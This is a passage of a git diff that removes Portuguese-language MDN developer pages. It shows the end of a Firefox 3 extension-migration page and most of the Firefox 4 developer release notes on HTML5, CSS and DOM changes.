-<p>Você deve agora sobrepor desta maneira:</p>
-
-<pre>&lt;vbox id="browser-bottombox"&gt;
- &lt;something insertbefore="status-bar" /&gt;
-&lt;/vbox&gt;
-</pre>
-
-<h3 id="Outras_mudan.C3.A7as" name="Outras_mudan.C3.A7as">Outras alterações</h3>
-
-<p><em>Mudanças simples adicionais que tiver de fazer enquanto atualiza sua extensão para trabalhar com o Firefox 3, aqui.</em></p>
-
-<ul>
- <li><code><a class="external" rel="freelink">chrome://browser/base/utilityOverlay.js</a></code> não é mais suportada por razões de segurança. Se você previamente utilizava-a, você pode mudar para <code><a class="external" rel="freelink">chrome://browser/content/utilityOverlay.js</a></code>.</li>
- <li><a href="/en/nsIAboutModule">en:nsIAboutModule</a> implementações são agora requeridas para suportar o método <code>getURIFlags</code>. Veja <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl" rel="custom">nsIAboutModule.idl</a> para documentação. Isto afeta extensões que provém novas URIs <code>about:</code>. (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=337746" title='FIXED: [FIX]Move "safe about" hardcoding out of security manager'>bug 337746</a>)</li>
- <li>O elemento <code>&lt;tabbrowser&gt;</code> não é mais parte do "kit de ferramentas" (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=339964" title="FIXED: move tabbrowser.xml out of mozilla/toolkit and into mozilla/browser">bug 339964</a>). Isto significa que este elemento não está mais disponível para aplicações XUL e extensões. Ele continua a ser usado na janela principal do Firefox (browser.xul).</li>
- <li>Mudanças em <a href="/en/nsISupports_proxies">en:nsISupports proxies</a> e possivelmente relacionado ao encadeamento de interfaces que precisam ser documentadas.</li>
- <li>Se você usa instruções de processamento XML, como <code>&lt;?xml-stylesheet ?&gt;</code> em seus arquivos XUL, fique atento às mudanças feitas em <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=319654" title="FIXED: Processing instructions in XUL are not added to the content model">bug 319654</a>:
- <ol>
- <li>XML PIs foram agora adicionadas a um documento XML DOM. Isto significa que <a href="/pt-PT/docs/Web/API/Document/firstChild" title="The documentation about this has not yet been written; please consider contributing!"><code>Document.firstChild</code></a> não é mais garantida como o elemento raiz. Se você precisa pegar o documento raiz no seu script, use <a href="/pt-PT/docs/Web/API/Document/documentElement" title="The documentation about this has not yet been written; please consider contributing!"><code>Document.documentElement</code></a> ao invés.</li>
- <li>as instruções de processamento <code>&lt;?xml-stylesheet ?&gt;</code> e <code>&lt;?xul-overlay ?&gt;</code> agora não tem efeito fora do documento prolog.</li>
- </ol>
- </li>
- <li><code>window.addEventListener("load", myFunc, true)</code> não é mais ativado no carregamento de conteúdo web (carregamento de páginas no navegador). Isto foi devido ao <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=296639" title="FIXED: Split windows into an inner and outer object">bug 296639</a> que altera a maneira como as janelas internas e externas se comunicam. O simples conserto é para o uso de <code>gBrowser.addEventListener("load", myFunc, true)</code> como descrito <a href="/en/Code_snippets:Tabbed_browser#Detecting page load">aqui</a> e trabalha no Firefox 2 muito bem.</li>
- <li><code>content.window.getSelection()</code> dá um objeto (que pode ser convertido para uma string por <code>toString()</code>) diferentemente do agora depreciado <code>content.document.getSelection()</code> que retorna uma string</li>
- <li><code>event.preventBubble()</code> foi depreciado no Firefox 2 e foi removido no Firefox 3. Use <a href="/en/DOM/event.stopPropagation">event.stopPropagation()</a>, que funciona bem no Firefox 2.</li>
- <li>Contadores que são inciados usando <code>setTimeout()</code> estão agora bloquados por janelas modais devido à correção para <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=52209" title="FIXED: JS timers can fire while a modal dialog is open">bug 52209</a>. Você pode usar <code>nsITimer</code> no lugar.</li>
-</ul>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/mozilla/firefox/releases/4/index.html b/files/pt-pt/mozilla/firefox/releases/4/index.html
deleted file mode 100644
index a79356442c..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/4/index.html
+++ /dev/null
@@ -1,657 +0,0 @@
----
-title: Firefox 4 para desenvolvedores
-slug: Mozilla/Firefox/Releases/4
-tags:
- - CSS
- - Firefox
- - Firefox 4
- - Gecko
- - Gecko 2.0
- - HTML
- - JavaScript
- - XPCOM
- - XUL
-translation_of: Mozilla/Firefox/Releases/4
-original_slug: Firefox_4_para_desenvolvedores
----
-<div><section class="Quick_links" id="Quick_Links">
- <ol>
- <li class="toggle">
- <details>
- <summary>Firefox developer release notes</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Releases">Firefox developer release notes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Add-ons</summary>
- <ol>
- <li><a href="/pt-PT/Add-ons/WebExtensions">Browser extensions</a></li>
- <li><a href="/pt-PT/Add-ons/Themes">Themes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Firefox internals</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/">Mozilla project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Gecko">Gecko</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
- <li><a href="/pt-PT/docs/Mozilla/JavaScript_code_modules">JavaScript code modules</a></li>
- <li><a href="/pt-PT/docs/Mozilla/js-ctypes">JS-ctypes</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MathML_Project">MathML project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MFBT">MFBT</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Projects">Mozilla projects</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Preferences">Preference system</a></li>
- <li><a href="/pt-PT/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XUL">XUL</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Building and contributing</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions">Build instructions</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configuring build options</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">How the build system works</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Mozilla source code</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Localization">Localization</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Mercurial">Mercurial</a></li>
- <li><a href="/pt-PT/docs/Mozilla/QA">Quality assurance</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Using_Mozilla_code_in_other_projects">Using Mozilla code in other projects</a></li>
- </ol>
- </details>
- </li>
- </ol>
-</section></div>
-
-<div class="blockIndicator draft">
- <p><strong>Esboço</strong><br>
- Esta página está incompleta.</p>
-
-</div>
-
-<p>O Firefox 4, o qual entrou em beta no mês de junho de 2010, melhora a performance, adiciona maior suporte ao HTML5 e outras tecnologias web envolvidas e, além disso, melhora a segurança. Este artigo proporciona informações iniciais sobre o lançamento que virá e quais funcionalidades estão disponíveis, tanto para desenvolvedores web, quanto para desenvolvedores de complementos e desenvolvedores da plataforma Gecko.</p>
-
-<p>Muitas destas funcionalidades já podem ser testadas na versão <a class="external" href="http://www.mozilla.com/en-US/firefox/beta/" title="http://www.mozilla.com/en-US/firefox/beta/">Firefox 4 beta</a>, ou, se estiver se sentindo aventureiro, em <a class="external" href="http://nightly.mozilla.org/" title="http://nightly.mozilla.org/">nightly trunk builds</a>.</p>
-
-<div class="note"><strong>Observação:</strong> Este artigo é um trabalho em progresso, assim como todos os artigos linkados nesta página. Muitos nomes de artigos são espaços reservadis e alguns tópicos provavelmente serão quebrados em múltiplos artigos. Em geral, seja cuidadoso ao vincular páginas a estes artigos, por enquantoIn general, be cautious about linking to these articles for the time beingJavas.</div>
-
-<h2 id="Funcionalidades_para_desenvolvedores_web">Funcionalidades para desenvolvedores web</h2>
-
-<p>O Gecko agora usa o analisador <a href="/pt/HTML/HTML5" title="pt/HTML/HTML5">HTML5</a> (parser HTML5), que corrige bugs, melhora a interoperabilidade e melhora a performance. Ele também permite conteúdos de <a href="/en/SVG" title="en/SVG">SVG</a> e <a href="/en/MathML" title="en/MathML">MathML</a> embutidos diretamente na marcação HTML.</p>
-
-<h3 id="HTML">HTML</h3>
-
-<dl>
- <dt><a href="/pt/HTML/HTML5/Parser_HTML5" title="pt/HTML/HTML5/Parser HTML5">Conheça o parser HTML5</a></dt>
- <dd>Uma olhada no que o analisador HTML5 (parser HTML5) significa para você e como incorporar SVG e MathML ao seu conteúdo.</dd>
- <dt><a href="/pt/HTML/HTML5/Forms_no_HTML5" title="pt/HTML/HTML5/Forms no HTML5">Forms no HTML5</a></dt>
- <dd>Uma olhada às melhorias aos web forms no HTML5. Entre estas mudanças foram adicionados tipos de entrada no elemento <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> e validação de dados, dentre outros.</dd>
- <dt><a href="/pt/Seções_e_perfil_de_um_documento_HTML5" title="pt/Seções e perfil de um documento HTML5">Seções HTML5</a></dt>
- <dd>O Gecko agora suporta os novos elementos HTML5 relacionados a seções em um um documento: <a href="/pt-PT/docs/Web/HTML/Element/article" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;article&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/section" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;section&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/nav" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;nav&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/aside" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;aside&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/hgroup" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;hgroup&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/header" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;header&gt;</code></a> e <a href="/pt-PT/docs/Web/HTML/Element/footer" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;footer&gt;</code></a>.</dd>
- <dt>Outros elementos HTML5</dt>
- <dd>O Gecko agora suporta os seguintes elementos do HTML5: <a href="/pt-PT/docs/Web/HTML/Element/mark" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;mark&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/figure" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;figure&gt;</code></a> e  <a href="/pt-PT/docs/Web/HTML/Element/figcaption" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;figcaption&gt;</code></a>.</dd>
- <dt>WebSockets</dt>
- <dd>Um guia para usar a nova API de WebSockets para comunicação em tempo real entre uma aplicação web e um servidor.</dd>
-</dl>
-
-<h4 id="Modificações_HTML_diversas">Modificações HTML diversas</h4>
-
-<ul>
- <li>Os elementos <a href="/pt-PT/docs/Web/HTML/Element/textarea" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;textarea&gt;</code></a> são agora redimensionáveis por padrão; você pode usar a propriedade <a href="/pt-PT/docs/Web/CSS/resize" title="The documentation about this has not yet been written; please consider contributing!"><code>resize</code></a> do CSS para desabilitar isto.</li>
- <li><code>canvas.getContext</code> e <code>canvas.toDataURL</code> não adicionam mais exceções quando chamados com argumentos não reconhecidos.</li>
- <li>O elemento <code><a href="../../../../en/HTML/Element/canvas" rel="custom nofollow">&lt;canvas&gt;</a></code> agora suporta o método específico da Mozilla <code>mozGetAsFile()</code>, o qual permite a obtenção de um arquivo baseado na memória contendo uma imagem dos conteúdos do canvas. Veja <code><a href="../../../../en/DOM/HTMLCanvasElement" rel="custom nofollow">HTMLCanvasElement</a></code> para detalhes.</li>
- <li><code>canvas2dcontext.globalCompositeOperation</code>, <code>canvas2dcontext.lineCap</code> e <code>canvas2dcontext.lineJoin</code> não adicionam mais exceções quando configurados para valores desconhecidos.</li>
- <li><code>canvas2dcontext.globalCompositeOperation</code> não adiciona mais exceções quando configurado para um valor desconhecido e não suporta mais o valor não padrão <code>darker</code>.</li>
- <li>Foi removido o suporte para o elemento obsoleto <a href="/pt-PT/docs/Web/HTML/Element/spacer" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;spacer&gt;</code></a>, o qual não existe em nenhum outro navegador.</li>
- <li>O elemento <a href="/pt-PT/docs/Web/HTML/Element/isindex" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;isindex&gt;</code></a>, quandro criado pela chamada de <a href="/pt-PT/docs/Web/API/Document/createElement" title="The documentation about this has not yet been written; please consider contributing!"><code>document.createElement()</code></a>, é agora criado como um elemento simples sem propriedades ou métodos.</li>
- <li>O Gecko agora suporte a chamada <code>click()</code> em elementos <code><a href="../../../../en/HTML/Element/input" rel="custom nofollow">&lt;input&gt;</a></code> para abrir o seletor de arquivos. Veja o <a href="/en/Using_files_from_web_applications#Hiding_the_file_input_element" title="en/Using files from web applications#Hiding the file input element"><ins>exemplo</ins></a> no artigo <a href="/en/Using_files_from_web_applications" title="en/Using files from web applications"><ins>Using files from web applications</ins></a>.</li>
- <li>Os elementos <a href="/pt-PT/docs/Web/HTML/Element/script" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;script&gt;</code></a> internos aos elementos <a href="/pt-PT/docs/Web/HTML/Element/iframe" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;iframe&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/noembed" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;noembed&gt;</code></a> e <a href="/pt-PT/docs/Web/HTML/Element/noframes" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;noframes&gt;</code></a> agora são executados, ao contrário de versões anteriores do Firefox. Isto está de acordo com a especificação e corresponde com o comportamento de outros navegadores.</li>
-</ul>
-
-<h3 id="CSS">CSS</h3>
-
-<dl>
- <dt><a href="/pt/CSS/Transições_CSS" title="pt/CSS/Transições CSS">Transições CSS</a> (CSS transitions)</dt>
- <dd>O suporte à novas transições CSS está disponível no Firefox 4.</dd>
- <dt>Valores calculados em CSS</dt>
- <dd>Foi adicionado o suporte para <code><span style="font-family: verdana,tahoma,sans-serif;"><a href="/pt-PT/docs/Web/CSS/-moz-calc" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-calc</code></a>. Isto permite especificar valores <a href="/pt-PT/docs/Web/CSS/length" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;length&gt;</code></a> como expressões matemáticas.</span></code></dd>
- <dt>Seletor de agrupamento</dt>
- <dd>Suporte a <a href="/pt-PT/docs/Web/CSS/:-moz-any" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-any</code></a> para agrupar seletores e fatorizar combinadores.</dd>
- <dt>Suporte a sub-retângulo em imagens de fundo</dt>
- <dd>A função <a href="/pt-PT/docs/Web/CSS/-moz-image-rect" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-image-rect</code></a> torna possível o uso de subretângulos de imagens como uma <a href="/pt-PT/docs/Web/CSS/background-image" title="A propriedade background-image configura a imagem de fundo para um elemento."><code>background-image</code></a> (imagem de plano de fundo).</dd>
- <dt>Propriedades de toque CSS</dt>
- <dd>O suporte para propriedades de toque foi adicionado. Detalhes e nomes de artigos reais, virão depois.</dd>
- <dt><a href="/en/CSS/-moz-element" title="en/CSS/-moz-element">Using arbitrary elements as CSS backgrounds</a></dt>
- <dd>Você pode usar a função <a href="/pt-PT/docs/Web/CSS/-moz-element" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-element</code></a> do CSS e a função <a href="/pt-PT/docs/Web/API/Document/mozSetImageElement" title="The documentation about this has not yet been written; please consider contributing!"><code>document.mozSetImageElement()</code></a> do DOM para usar elementos HTML arbitrários como planos de fundos.</dd>
- <dt><a href="/pt/CSSPrivacidade_e_o_seletor_:visited" title="pt/CSSPrivacidade e o seletor :visited">Privacidade e o seletor :visited</a></dt>
- <dd>Mudanças foram feitas ao tipo de informação que pode ser obtida sobre o estilo dos links visitados usando seletores CSS. Isto pode afetas algumas aplicações web.</dd>
-</dl>
-
-<h4 id="Novas_propriedades_do_CSS">Novas propriedades do CSS</h4>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Propriedade</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/-moz-font-feature-settings" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-font-feature-settings</code></a></td>
- <td>Permite características avançadas de customização em fontes OpenType.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/-moz-tab-size" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-tab-size</code></a></td>
- <td>Especifica a largura em caracteres de espaço, de um caracter tab (U+0009) na renderização de texto.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/resize" title="The documentation about this has not yet been written; please consider contributing!"><code>resize</code></a></td>
- <td>Permite o controle das dimensões nas quais um elemento pode ser redimensionado.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Novas_pseudo-classes_do_CSS">Novas pseudo-classes do CSS</h4>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Pseudo-classe</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-handler-crashed" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-handler-crashed</code></a></td>
- <td>Usado para estilizar elementos cujos plugins tenham quebrado.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-placeholder" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-placeholder</code></a></td>
- <td>Aplicado ao espaço reservado de texto nos campos de formulário.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-submit-invalid" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-submit-invalid</code></a></td>
- <td>Aplicado ao botão de submeter em formulários quando um ou mais dos campos do formulário não é validado.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-window-inactive" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-window-inactive</code></a></td>
- <td>Aplicado a elementos em janelas inativas.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:invalid" title="The documentation about this has not yet been written; please consider contributing!"><code>:invalid</code></a></td>
- <td>Aplicado automaticamente para os campos <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> quando suas constantes são inválidas.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:optional" title="The documentation about this has not yet been written; please consider contributing!"><code>:optional</code></a></td>
- <td>Aplicado automaticamente para os campos <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> que não especifiquem o atributo <code>required</code>.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:required" title="The documentation about this has not yet been written; please consider contributing!"><code>:required</code></a></td>
- <td>Aplicado automaticamente para os campos <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> que especifiquem o atributo <code>required</code>.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:valid" title="The documentation about this has not yet been written; please consider contributing!"><code>:valid</code></a></td>
- <td>Aplicado automaticamente para os campos <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> quando suas constantes são validadas com sucesso.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Novos_pseudo-seletores_do_CSS">Novos pseudo-seletores do CSS</h4>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Pseudo-seletor</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-focusring" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-focusring</code></a></td>
- <td>Permite especificar a aparência de um elemento quando o Gecko acredita que ele deve ter uma indicação de foco renderizada.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Novas_funções_do_CSS">Novas funções do CSS</h4>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Função</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/:-moz-any" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-any</code></a></td>
- <td>Permite agrupar seletores e fatorizar combinações.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/-moz-calc" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-calc</code></a></td>
- <td>Permite a especificação de valores<code><span style="font-family: verdana,tahoma,sans-serif;"> </span></code><a href="/pt-PT/docs/Web/CSS/length" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;length&gt;</code></a><code><span style="font-family: verdana,tahoma,sans-serif;"> como expressões matemáticas.</span></code></td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/-moz-element" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-element</code></a></td>
- <td>Permite o uso de um elemento arbitrário como imagem de fundo para <a href="/pt-PT/docs/Web/CSS/background-image" title="A propriedade background-image configura a imagem de fundo para um elemento."><code>background-image</code></a> e <a href="/pt-PT/docs/Web/CSS/background" title="A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: background-attachment, background-color, background-image, background-position, background-repeat."><code>background</code></a>.</td>
- </tr>
- <tr>
- <td><a href="/pt-PT/docs/Web/CSS/-moz-image-rect" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-image-rect</code></a></td>
- <td>Permite o uso de um sub-retângulo de uma imagem como um <a href="/pt-PT/docs/Web/CSS/background-image" title="A propriedade background-image configura a imagem de fundo para um elemento."><code>background-image</code></a> ou <a href="/pt-PT/docs/Web/CSS/background" title="A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: background-attachment, background-color, background-image, background-position, background-repeat."><code>background</code></a>.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Propriedades_do_CSS_renomeadas">Propriedades do CSS renomeadas</h4>
-
-<table class="standard-table">
- <thead>
- <tr>
- <td class="header">Old Name</td>
- <td class="header">New Name</td>
- <td class="header">Notes</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>-moz-background-size</code></td>
- <td><a href="/pt-PT/docs/Web/CSS/background-size" title="The documentation about this has not yet been written; please consider contributing!"><code>background-size</code></a></td>
- <td>O nome <code>-moz-background-size</code> não é mais suportado.</td>
- </tr>
- <tr>
- <td><code>-moz-border-radius</code></td>
- <td><a href="/pt-PT/docs/Web/CSS/border-radius" title="The documentation about this has not yet been written; please consider contributing!"><code>border-radius</code></a></td>
- <td>O antigo nome é suportado por tempo limitado para permitir a atualização de seus sites. Mudanças de renderização também foram feitas para conseguir a compatibilidade com a última versão.</td>
- </tr>
- <tr>
- <td><code>-moz-box-shadow</code></td>
- <td><a href="/pt-PT/docs/Web/CSS/box-shadow" title="The documentation about this has not yet been written; please consider contributing!"><code>box-shadow</code></a></td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Modificações_CSS_diversas">Modificações CSS diversas</h4>
-
-<ul>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/text-shadow" title="The documentation about this has not yet been written; please consider contributing!"><code>text-shadow</code></a> agora permite raio de desfoque de até 300px, por razões de sanidade e performance.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/overflow" title="The documentation about this has not yet been written; please consider contributing!"><code>overflow</code></a> não se aplica mais para elementos do grupo "table" (<code>&lt;thead&gt;</code>, <code>&lt;tbody&gt;</code> e <code>&lt;tfoot&gt;</code>).</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/-moz-appearance" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-appearance</code></a> agora suporta o valor<code> -moz-win-borderless-glass<span style="font-family: verdana,tahoma,sans-serif;">, que aplica uma aparência Aero Glass a um elemento.</span></code></li>
- <li>A funcionalidade de mídia <code><a href="/En/CSS/Media_queries#-moz-device-pixel-ratio" title="En/CSS/Media queries#-moz-device-pixel-ratio">-moz-device-pixel-ratio</a></code> foi adicionada, permitindo o uso de pixels do dispositivo pela taxa de pixels CSS a ser usada em <a href="/Pt/CSS/Consulta_de_mídia" title="Pt/CSS/Consulta de mídia">Consultas de Mídia</a>.</li>
- <li>A maneira com que o Gecko lida com o <a href="../../../../en/CSS-2_Quick_Reference/Units" rel="internal">CSS units</a> foi revisada para melhorar a compatibilidade com outros navegadores e para traduzir comprimentos absolutos mais acuradamente na contagem de pixels da tela baseado na DPI do dispositivo.</li>
-</ul>
-
-<h4 id="Modificações_CSS_diversas_2">Modificações CSS diversas</h4>
-
-<ul>
- <li><code>-moz-border-radius </code>foi renomeado para <a href="/pt-PT/docs/Web/CSS/border-radius" title="The documentation about this has not yet been written; please consider contributing!"><code>border-radius</code></a>.
-
- <ul>
- <li><code>-moz-border-radius </code>é suportado como um apelido para um período de transição</li>
- <li>A manipulação de valores percentuais foi alterada para ficar compatível com a última especificação</li>
- <li>Cantos arredondados agora arredondam também conteúdo e imagens (a menos que seja especificado <a href="/pt-PT/docs/Web/CSS/overflow" title="The documentation about this has not yet been written; please consider contributing!"><code>overflow</code></a><code>:visible</code>)</li>
- </ul>
- </li>
- <li>A propriedade <code>-moz-box-shadow</code> foi renomeada para <a href="/pt-PT/docs/Web/CSS/box-shadow" title="The documentation about this has not yet been written; please consider contributing!"><code>box-shadow</code></a>.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/text-shadow" title="The documentation about this has not yet been written; please consider contributing!"><code>text-shadow</code></a> agora permite raio de desfoque de até 300px, por razões de sanidade e performance.</li>
- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-window-inactive" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-window-inactive</code></a> foi implementada.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/-moz-tab-size" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-tab-size</code></a> permite a especificação da largura de um caracter de tab (U+0009) em caracteres de espaço, quando na renderização de texto.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/resize" title="The documentation about this has not yet been written; please consider contributing!"><code>resize</code></a> do CSS3 foi implementada.</li>
- <li>A propriedade <code>-moz-background-size </code>foi renomeada para seu nome final <a href="/pt-PT/docs/Web/CSS/background-size" title="The documentation about this has not yet been written; please consider contributing!"><code>background-size</code></a>; <code>-moz-background-size</code> não é mais suportada.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/overflow" title="The documentation about this has not yet been written; please consider contributing!"><code>overflow</code></a> não se aplica mais para elementos do grupo "table" (<code>&lt;thead&gt;</code>, <code>&lt;tbody&gt;</code> e <code>&lt;tfoot&gt;</code>).</li>
- <li>O pseudoseletor <a href="/pt-PT/docs/Web/CSS/:-moz-focusring" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-focusring</code></a> permite a especificação da aparência de um elemento quando o Gecko acredita que o elemento deve ter uma indicação de foco renderizada.</li>
- <li>A função <a href="/pt-PT/docs/Web/CSS/-moz-element" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-element</code></a> do CSS permite o uso de um elemento arbitrário como imagem de fundo para <a href="/pt-PT/docs/Web/CSS/background-image" title="A propriedade background-image configura a imagem de fundo para um elemento."><code>background-image</code></a> e <a href="/pt-PT/docs/Web/CSS/background" title="A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: background-attachment, background-color, background-image, background-position, background-repeat."><code>background</code></a>.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/-moz-appearance" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-appearance</code></a> agora suporta o valor<code> -moz-win-borderless-glass<span style="font-family: verdana,tahoma,sans-serif;">, que aplica uma aparência Aero Glass a um elemento.</span></code></li>
- <li>As pseudoclasses <a href="/pt-PT/docs/Web/CSS/:valid" title="The documentation about this has not yet been written; please consider contributing!"><code>:valid</code></a> e <a href="/pt-PT/docs/Web/CSS/:invalid" title="The documentation about this has not yet been written; please consider contributing!"><code>:invalid</code></a> são agora automaticamente aplicadas para campos de validação <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a>.</li>
- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-submit-invalid" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-submit-invalid</code></a> é aplicada ao botão de submeter em campos de formulários quando um ou mais campos não são validados.</li>
